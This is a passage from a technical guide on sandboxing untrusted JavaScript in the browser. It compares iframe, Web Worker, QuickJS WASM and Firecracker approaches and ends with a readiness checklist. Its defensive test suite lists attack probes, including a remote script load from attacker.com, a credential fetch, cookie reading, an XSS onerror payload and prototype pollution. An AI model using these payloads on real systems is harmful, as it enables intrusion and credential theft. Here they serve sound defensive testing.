- Hard Memory Caps: You can instantiate the WebAssembly instance with a fixed maximum memory boundary (e.g., maximum 32 MB linear memory). If untrusted code allocates more, the WASM memory manager aborts synchronously.
The Trade-Offs:
- Performance: Interpreting JavaScript inside a WASM-compiled interpreter is approximately 10x to 30x slower than running on native V8 JIT.
- Bundle Footprint: Including the QuickJS WASM binary adds roughly 1 MB to 2 MB to your client bundle size.
- Modern Features: QuickJS supports ES2020/ES2023 specifications, but certain cutting-edge browser web APIs must be manually polyfilled.
---
14. When Browser Execution Is Enough vs. When to Move Server-Side
Client-side execution is compelling: it costs zero server CPU, scales infinitely with user traffic, and delivers instantaneous feedback. But client-side sandboxes have distinct architectural boundaries.
Use this decision matrix to determine whether browser execution is appropriate for your workload:
[ User Submits Code ]
β
βΌ
Is the language pure JavaScript?
β β
YES NO ββ> [ SERVER-SIDE MICROVM ]
β
βΌ
Does it require npm packages or
persistent POSIX filesystem?
β β
NO YES ββ> [ SERVER-SIDE MICROVM ]
β
βΌ
Does it require external network
access to private/arbitrary APIs?
β β
NO YES ββ> [ SERVER-SIDE MICROVM ]
β
βΌ
[ BROWSER ISOLATED SANDBOX ]
(Cross-Origin iframe + Worker + CSP)| Workload Requirement | Browser Sandbox (Iframe + Worker) | WASM Interpreter (QuickJS) | Server-Side MicroVM (Firecracker) |
|---|---|---|---|
| Language Support | JavaScript / TypeScript (transpiled) | JavaScript (ES2020) | Any language (Python, C++, Rust, Go) |
| Execution Latency | Instant (0β10 ms) | Near-Instant (10β50 ms) | Cold start: 100β300 ms |
| Infrastructure Cost | \$0 (Runs on user's device) | \$0 (Runs on user's device) | Compute fees per execution second |
| Filesystem Access | In-memory virtual FS only | In-memory virtual FS only | Full POSIX filesystem |
| Package Ecosystem | Pre-bundled CDN modules | Pure JS single-file modules | Full npm install, pip install |
| Network Governance | Binary (Block all via CSP) | Complete isolation (None) | Fine-grained VPC egress firewall |
| Max Resource Caps | Watchdog timeout only | Hard memory + CPU limit | Strict OS cgroups & kernel quotas |
---
15. Security Architecture Comparison
To choose the right security posture for your application, compare all five primary execution architectures:
| Architecture | Isolation Boundary | Primary Strength | Primary Limitation | Suitable Use Case |
|---|---|---|---|---|
| 1. Main-Thread `eval()` | None | Zero latency, trivial integration | Full XSS vulnerability; blocks UI thread | Internal trusted scripts only |
| 2. Plain Web Worker | Thread & Event Loop | UI responsiveness; timeout termination | Shares origin storage, cookies, and network | Background math on trusted data |
| 3. Same-Origin Sandboxed Iframe | Declarative Sandbox | Strips forms, popups, and top navigation | Fragile; allow-same-origin collapses security | Controlled widget embeds |
| 4. Cross-Origin / Opaque Iframe + Worker | Origin, Thread & Network (CSP) | Multi-layer defense in depth; zero server cost | Complex postMessage protocol; no raw FS | Online JS playgrounds, code tutors |
| 5. WASM Engine (QuickJS) | Linear WASM Memory Heap | Zero browser API exposure; hard memory caps | 10β30x execution slowdown; bundle overhead | Plugin systems, workflow logic |
| 6. Server-Side MicroVM (Firecracker) | Hardware Virtualization (KVM) | Absolute OS containment; arbitrary languages | Infrastructure maintenance, cold start latency | Production CI/CD, untrusted backend jobs |
---
16. Testing Your Security Boundary
Before deploying any browser-based code runner to production, validate your defenses against this 10-point adversarial checklist:
The Defensive Audit Suite
// sandbox-security-test-suite.ts
export const SECURITY_AUDIT_PROBES = [
{
name: "Probe 1: Infinite Loop Denial of Service",
code: "while(true){}",
expectedOutcome: "Host watchdog triggers termination within 2000ms; UI remains responsive."
},
{
name: "Probe 2: Parent DOM Access",
code: "window.parent.document.body.innerHTML = 'HACKED';",
expectedOutcome: "Throws SecurityError: Blocked a frame with origin 'null' from accessing a cross-origin frame."
},
{
name: "Probe 3: Top Navigation Hijack",
code: "window.top.location = 'https://attacker.com';",
expectedOutcome: "Throws DOMException: Blocked top-level navigation."
},
{
name: "Probe 4: Ambient Credential Fetch",
code: "fetch('/api/user/credentials').then(r => r.json());",
expectedOutcome: "Blocked by CSP (connect-src 'none') or fetch is undefined."
},
{
name: "Probe 5: IndexedDB Exfiltration",
code: "indexedDB.open('app_database');",
expectedOutcome: "Throws SecurityError: The operation is insecure in an opaque origin context."
},
{
name: "Probe 6: Remote Script Injection",
code: "importScripts('https://attacker.com/payload.js');",
expectedOutcome: "Blocked by CSP or importScripts is deleted/undefined."
},
{
name: "Probe 7: Cookie Inspection",
code: "const c = document.cookie; return c;",
expectedOutcome: "document is undefined or document.cookie throws SecurityError."
},
{
name: "Probe 8: Storage Pollution",
code: "localStorage.setItem('compromised', 'true');",
expectedOutcome: "localStorage is undefined inside worker context."
},
{
name: "Probe 9: Malicious HTML Return Payload",
code: "return '<img src=x onerror=alert(1)>';",
expectedOutcome: "Host renders payload safely via .textContent; alert() never fires."
},
{
name: "Probe 10: Prototype Pollution Probe",
code: "Object.prototype.polluted = true; return {};",
expectedOutcome: "Host Object.prototype remains clean; pollution is confined to sandbox."
}
];---
17. Production Readiness Checklist
Before going live with any in-browser JavaScript execution engine, ensure every item on this checklist is verified by engineering and security:
- Origin Separation: Sandbox runs either inside an iframe with
sandbox="allow-scripts"(withoutallow-same-origin) or on a completely separate, cookie-less apex domain (e.g.,company-usercontent.com). - No `allow-same-origin` on Same-Origin Host: Verified that
sandbox="allow-scripts allow-same-origin"is strictly absent on any iframe served from the main application domain. - Main App CSP Preserved: Confirmed that
'unsafe-eval'has not been added to the primary applicationβs Content Security Policy headers. - Sandbox CSP Enforced: The sandbox document serves an ultra-strict CSP containing
connect-src 'none'anddefault-src 'none'. - Worker Global Scope Hardened: Deleted
fetch,XMLHttpRequest,WebSocket,EventSource, andimportScriptsfrom the worker context before running code. - Watchdog Timer Implemented: Host sets a hard execution budget (typically 1,000 ms to 3,000 ms) and invokes
worker.terminate()when elapsed. - Message Source Validation: Host message listener verifies
event.source === iframe.contentWindowrather than checkingevent.origin === 'null'. - Typed Message Schema: Host and sandbox communicate using strict request/response IDs and validated payload structures.
- Safe Output Rendering: Execution results and intercepted console logs are rendered exclusively via
.textContentor safe DOM nodesβnever raw.innerHTML. - Recycle on Failure: If a worker times out or throws a fatal error, the sandbox controller terminates the worker and rebuilds the execution context from scratch.
---
18. Final Architecture Decision: The Pathubs Code Principle
Running untrusted code safely requires an intentional shift in mindset.
When developers ask:
> *"Where should we run this code?"*
They usually settle for the easiest answer: *"Put it in a Web Worker so the page doesn't lag."*
Security engineers ask a fundamentally different question:
> *"What resources can this code reach, what ambient credentials can it inherit, and what happens when it tries to burn down the house?"*
A Web Worker isolates the thread. An iframe isolates the DOM. An opaque origin isolates credentials. A Content Security Policy isolates the network. A watchdog timer isolates execution time. And output sanitization isolates the host UI.
None of these controls is sufficient on its own. But woven together into a deliberate, multi-layered boundary, they allow you to run untrusted JavaScript directly inside the browserβdelivering blistering responsiveness to your users while keeping your application, their data, and your infrastructure completely safe.
---
Sources & Further Reading
- W3C HTML Living Standard: The iframe sandbox attribute specification
- MDN Web Docs: HTMLIFrameElement: sandbox property security considerations
- MDN Web Docs: Web Workers API and DedicatedWorkerGlobalScope capabilities
- W3C Content Security Policy Level 3: script-src, unsafe-eval, and wasm-unsafe-eval directives
- Google: playground-elements Sandbox Security Architecture
- W3C Working Group: Threat Model for the Web
- Cloudflare: Workers Runtime Security Model and Isolates Architecture



